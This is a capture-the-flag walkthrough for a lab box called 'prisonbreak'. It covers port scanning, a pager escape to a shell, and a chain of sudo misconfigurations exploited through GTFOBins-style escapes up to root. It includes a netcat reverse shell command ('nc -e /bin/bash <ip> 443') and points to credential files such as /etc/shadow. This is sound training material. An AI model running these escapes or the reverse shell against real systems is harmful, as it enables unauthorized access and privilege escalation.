# prisonbreak

There's also a video version, if you want to check it out: [prisonbreak](https://youtu.be/49v6HfC61W4?feature=shared)

**Port Scanning**

First we perform a port scan using Rustscan to identify open ports.

```
rustscan -a 10.0.200.47
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

Open 10.0.200.47:22
Open 10.0.200.47:1337
```

Once we know what ports are open, we use nmap to obtain the services and their versions running on these ports.

```
❯ nmap -p22,1337 -sCV -n -Pn -v 10.0.200.47 -oN scan
<SNIP>
Nmap scan report for 10.0.200.47
Host is up (0.15s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 39:d8:72:f0:6f:74:58:78:ea:2b:e4:06:b9:82:67:65 (RSA)
|   256 55:8b:25:46:3d:72:08:35:46:23:4f:4c:fa:70:ba:a7 (ECDSA)
|_  256 10:ce:b4:58:a2:c3:59:5b:0f:e7:91:e3:6a:04:fb:4e (ED25519)
1337/tcp open  waste?
| fingerprint-strings: 
|   GenericLines, NULL: 
|     [?1049h
|     [?1h
|     MORE(1) User Commands MORE(1)
<SNIP>
```

* `-p <ports>`
* `-sCV combines the options -sC and -sV.`
* nmap help:
* `-sC: equivalent to --script=default`
* `-sV: Probe open ports to determine service/version info`
* `-n: Never do DNS resolution`
* `-vvv: Increase verbosity level`
* `-oN <file>: Output scan in normal format.`

Port 22 is running SSH, but Nmap cannot determine the service on port 1337, so we'll need to identify it manually.

**Gaining access**

Using Netcat to connect to port 1337, we receive the manual for the "more" command. We can escape from this environment by pressing `Esc` and then typing `:!bash`. After pressing Enter, we obtain a shell.

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FkY33jh61YsYv38KzMf95%2FPasted%20image%2020240806172217.png?alt=media&#x26;token=c4cf29e9-c155-4898-b286-5df8d9c03f9c" alt=""><figcaption></figcaption></figure>

**Upgrading shell**

To upgrade the shell, we execute the following command: `script /dev/null -qc bash`&#x20;

Next, press `Ctrl+Z` and then run: `stty raw -echo; fg`&#x20;

Finally, reset the terminal: `reset xterm`&#x20;

With the shell back, execute: `export TERM=xterm`&#x20;

And adjust the terminal size with: `stty rows 44 cols 172`

#### Horizontal privilege escalation

**cell2 user**

With the shell as the "cell1" user, execute: `sudo -l`&#x20;

* `sudo -l, --list` list user's privileges.

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FN0dcUdTgjZE6OPpdRcLw%2FPasted%20image%2020240806172712.png?alt=media&#x26;token=82e8b033-c0bf-46d9-9525-1e5b97ff267d" alt=""><figcaption></figcaption></figure>

You see that we can execute `more` as the "cell2" user. Elevate privileges by running: `sudo -u cell2 more /etc/passwd` (or any other existent file). Press `Esc` followed by `:!bash`, just as before, to become the "cell2" user.

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FJF1T39dNuWCbVDo3btnr%2FPasted%20image%2020240806184636.png?alt=media&#x26;token=7a9030ca-4c1e-4e82-a92c-2aac78ddc4d7" alt=""><figcaption></figcaption></figure>

Having done this we are "cell2" user.

**cell3 user**

Run `sudo -l` again, and you'll see that you can execute `less` as the "cell3" user.

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FVYBzhfiVsldMRFZgLB0N%2FPasted%20image%2020240806193832.png?alt=media&#x26;token=07434e9a-48b9-4bcb-a944-91b753cc70e3" alt=""><figcaption></figcaption></figure>

Searching on Google, we found [this resource](https://gtfobins.github.io/gtfobins/less/#sudo) that explains how to escape from `less` using `sudo`. Follow this process: `sudo -u cell3 /usr/bin/less /etc/passwd` Escape pressing escape then write `:!bash` to switch to the "cell3" user.

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FEhFrCYnZfOq9O3zcXt4e%2FPasted%20image%2020240806192929.png?alt=media&#x26;token=be3dd300-bd51-4e65-84bd-d466351b1ecf" alt=""><figcaption></figcaption></figure>

**cell4 user**

As the "cell3" user, run `sudo -l`:

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FZl0gBhYjhkDtBkt9ozpt%2FPasted%20image%2020240806193716.png?alt=media&#x26;token=c4c4b007-45b5-4011-89ab-e7145b12b8a5" alt=""><figcaption></figcaption></figure>

Note that you can execute `nmap` as the "cell4" user. Searching for ways to escalate privileges with `nmap`, we found [this method on GTFObins](https://gtfobins.github.io/gtfobins/nmap/#sudo) to execute commands:

First we have to be in a world readable directory like `/tmp`, here execute the following commands: `echo 'os.execute("/bin/bash")' > test` `sudo -u cell4 /usr/bin/nmap --script test` You now have access as "cell4".

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FSmZwWchfD1pLIGVqcC4f%2FPasted%20image%2020240807143038.png?alt=media&#x26;token=1d1c0702-dd8e-4b59-b15a-e9cab0460bb2" alt=""><figcaption></figcaption></figure>

**cell5 user**

As "cell4", run: `sudo -l`&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FFw1EJU8BvLu9j1kUvc3H%2FPasted%20image%2020240807143801.png?alt=media&#x26;token=7a8d2967-c2cc-48d5-8e72-8daef5dcfe6d" alt=""><figcaption></figcaption></figure>

To escalate to "cell5", we found [this GTFObins resource](https://gtfobins.github.io/gtfobins/awk/#sudo). Execute: `sudo -u cell5 /usr/bin/awk 'BEGIN {system("/bin/bash")}'`

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FTtvUKvEJfJpeZTpKuKrD%2FPasted%20image%2020240807144001.png?alt=media&#x26;token=486ae0eb-3519-4c65-960c-e4b75ab7854a" alt=""><figcaption></figcaption></figure>

This way now we are `cell5`.

**cell6 user**

For "cell6", execute `sudo -l`:&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FaWMHpxevqeYeYB6arOb6%2FPasted%20image%2020240807144118.png?alt=media&#x26;token=fd679fe3-d62d-422e-a594-6e5e93301988" alt=""><figcaption></figcaption></figure>

To gain access as "cell6", you can use the method outlined [here](https://gtfobins.github.io/gtfobins/find/#sudo): `sudo -u cell6 /usr/bin/find . -exec /bin/bash \; -quit`&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FB4ckwOsY2ujrIh75GWf9%2FPasted%20image%2020240807144312.png?alt=media&#x26;token=e4330cb4-5369-448d-83bd-1cdce1713c32" alt=""><figcaption></figcaption></figure>

After executing this command we are `cell6`.

**cell7 user**

Run `sudo -l` as "cell6":

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FVtxmno6DnmIPGMblU9pm%2FPasted%20image%2020240807144352.png?alt=media&#x26;token=6c826174-470b-4a29-bb64-cfd42402cdb8" alt=""><figcaption></figcaption></figure>

This user can use sudo to execute vim as `cell7`, use this method found on [GTFObins](https://gtfobins.github.io/gtfobins/vim/#sudo). `sudo -u cell7 /usr/bin/vim -c ':!/bin/bash'`&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FQ73zlJPOXQl8lhvW4Jtj%2FPasted%20image%2020240807144544.png?alt=media&#x26;token=a6a951c6-5ca5-4769-a65c-2e9351070883" alt=""><figcaption></figcaption></figure>

And you'll be `cell7`.

**cell8 user**

For "cell8", execute `sudo -l`:&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2Ffuk6PCQPL6i1ZtRLgPMg%2FPasted%20image%2020240807144658.png?alt=media&#x26;token=be49e101-132d-4036-82fd-746db43f857f" alt=""><figcaption></figcaption></figure>

So execute: `sudo -u cell8 /usr/bin/links /etc/passwd` then press `Esc` twice, hit Enter, select the option to spawn an OS shell.&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FlcP0nQwYLM3fJJOtD9HB%2FPasted%20image%2020240807145621.png?alt=media&#x26;token=7b731361-5b32-4029-9af6-fd104ae6d1c1" alt=""><figcaption></figcaption></figure>

And you are now `cell8.` ![](https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FZf21W8okR2PXpA6hU7fm%2FPasted%20image%2020240807145758.png?alt=media\&token=028f2dbf-1032-447f-acc8-4ae73f0ba0fc)

**cell9 user**

Being "cell8" execute `sudo -l`:&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FH0v65DZrP2YNrQZHxfq9%2FPasted%20image%2020240807145855.png?alt=media&#x26;token=29a86cc8-1c86-46bc-9547-de3cf81dba17" alt=""><figcaption></figcaption></figure>

This user can execute `/usr/bin/lynx` as "cell9". Following the steps from this [resource](https://0xffsec.com/handbook/shells/restricted-shells/#lynxlynx-doc), execute: `sudo -u cell9 /usr/bin/lynx /etc/passwd`, then enter the options with `o`.&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2Fs2DxiMtCLhaptVKWzmfL%2FPasted%20image%2020240807151139.png?alt=media&#x26;token=2b0556e7-46fb-47cd-95ff-969be7496d1d" alt=""><figcaption></figcaption></figure>

Change the `Editor` to `/usr/bin/vim`.

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FZl4I2oqAglaWGOYaP5KQ%2FPasted%20image%2020240807151701.png?alt=media&#x26;token=c1f18acf-550a-4666-94db-6ff187515f77" alt=""><figcaption></figcaption></figure>

Accept the changes.&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FwUgvU0MPuyhcPB1bo07B%2FPasted%20image%2020240807151728.png?alt=media&#x26;token=d3787930-df47-484c-a096-a70fc46ecc0f" alt=""><figcaption></figcaption></figure>

Finally press "e" to enter the editor, and escape from Vim by pressing `Esc` followed by `:!bash`.&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FKdxmurHsz9BcnAdBSQL1%2FPasted%20image%2020240807151934.png?alt=media&#x26;token=215904ba-24cb-4eca-a870-3f2fefea9864" alt=""><figcaption></figcaption></figure>

**cell10 user**

Execute `sudo -l`:

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FqbXaOqSSf5xneblpzhNV%2FPasted%20image%2020240807152051.png?alt=media&#x26;token=b7845560-b3e8-4210-8da2-a5ca58c974c6" alt=""><figcaption></figcaption></figure>

`cell9` can execute `/usr/bin/zip` as `cell10`.

To escalate privileges use this method was found on [GTFObins](https://gtfobins.github.io/gtfobins/zip/#sudo). `sudo -u cell10 /usr/bin/zip /tmp/test /etc/hosts -T -TT 'bash #'`

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FXp0W4oXhxDzfCf4wfc29%2FPasted%20image%2020240807152239.png?alt=media&#x26;token=f60ce3e6-1869-43e4-9e58-2e44eeab2bff" alt=""><figcaption></figcaption></figure>

**cell11 user**

As "cell10", run: `sudo -l`&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FNZUHNavYdoW9FnNfUDDA%2FPasted%20image%2020240807152328.png?alt=media&#x26;token=0103455c-9fe4-43c7-8ea1-9f738f6f47a4" alt=""><figcaption></figcaption></figure>

`cell10` can execute `/bin/tar` as `cell11`. There's this method to execute commands on [GTFObins](https://gtfobins.github.io/gtfobins/tar/#sudo). `sudo -u cell11 /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash`&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FtjGNP5QpDfV5Za6LCBbQ%2FPasted%20image%2020240807152557.png?alt=media&#x26;token=ec6479ec-9982-4296-9e28-c991bca3316a" alt=""><figcaption></figcaption></figure>

**cell12 user**

Execute `sudo -l`:&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2Fwr374MzQLmRaYhwqx4Ug%2FPasted%20image%2020240807152639.png?alt=media&#x26;token=efebe87a-c2fa-4f14-a9f8-59eb8e154dd0" alt=""><figcaption></figcaption></figure>

`cell11`can execute `/usr/bin/mutt` as `cell12`, so execute: `sudo -u cell12 /usr/bin/mutt` To escape, press `Esc` followed by `!`.

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2F8IOHEYjmYvUuVvdGUj5W%2FPasted%20image%2020240807152958.png?alt=media&#x26;token=4e4d7814-4b7e-451a-ba10-fa8373de9183" alt=""><figcaption></figcaption></figure>

Here enter `bash` to get a shell, as explained in [this resource](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/).

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2F8waDlnmQ717pHoeUoANG%2FPasted%20image%2020240807153043.png?alt=media&#x26;token=06aa75a9-2bba-481e-b913-b49250731474" alt=""><figcaption></figcaption></figure>

**cell13 user**

As "cell12", execute `sudo -l`:&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2Fh2ZVGHKlmUxMsKdgI0Aq%2FPasted%20image%2020240807153214.png?alt=media&#x26;token=e8e67437-0c61-4d7f-96c4-47d4577b5571" alt=""><figcaption></figcaption></figure>

To escalate to cell13 execute: `sudo -u cell13 /usr/bin/pinfo` Press `!` to open a shell prompt within pinfo.

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2F7qwEnl0HQyJUh5JAla0D%2FPasted%20image%2020240807153320.png?alt=media&#x26;token=21c8b196-afba-431c-aa15-86330809aa5f" alt=""><figcaption></figcaption></figure>

Set up a listener on another tab: `nc -nlvp 443` In the pinfo shell prompt, create a reverse shell: `nc -e /bin/bash <ip> 443`

Replace `<ip>` with your actual IP address. In your listener terminal, you should receive a connection.

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FBzdzLxC2yS97ihkzD9zS%2FPasted%20image%2020240807154019.png?alt=media&#x26;token=edd00f7f-d916-4fb6-8548-f327190d1fee" alt=""><figcaption></figcaption></figure>

Upgrade the shell: `script /dev/null -qc bash` then press Ctrl+z and immediatelly execute the command: `stty raw -echo;fg`&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2F2tzMASc0oxeezbhU73KS%2FPasted%20image%2020240807154110.png?alt=media&#x26;token=e25c2f77-f564-4a54-97dc-3132062d982b" alt=""><figcaption></figcaption></figure>

Finally execute `reset xterm`&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FDTbc4fl2IPr476VcAwo1%2FPasted%20image%2020240807154220.png?alt=media&#x26;token=66af112d-de23-498a-8e76-ee7f9335edfb" alt=""><figcaption></figcaption></figure>

You are now `cell13`. ![](https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2F1PrsPUP913hq788Ov6zm%2FPasted%20image%2020240807154306.png?alt=media\&token=940f8032-18d1-4deb-88ea-f93a8ea5b0da)

**root user**

As cell13, execute `sudo -l`:

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2Fyodk0uypG2Msss7DaQ8R%2FPasted%20image%2020240807154351.png?alt=media&#x26;token=d2fcc3f2-cf2b-4ccd-a253-319751c80cb8" alt=""><figcaption></figcaption></figure>

`cell13` can execute `/usr/bin/perl` as root. This method on [GTFObins](https://gtfobins.github.io/gtfobins/perl/#sudo)shows us how to execute commands: `sudo /usr/bin/perl -e 'exec "/bin/bash";'`&#x20;

<figure><img src="https://3863537643-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDdYSqYDpT0Aiur7jvsM1%2Fuploads%2FEn1HNdzOXeCwx2Z9psXX%2FPasted%20image%2020240807154539.png?alt=media&#x26;token=a5eb6242-e2e7-4f0f-8dca-0403e2bb389f" alt=""><figcaption></figcaption></figure>

Congratulations! You now have root access.

The flags can be found in:

* /root
* /etc/shadow
* /proc/1/environ
* The home directory of every "cell" user.
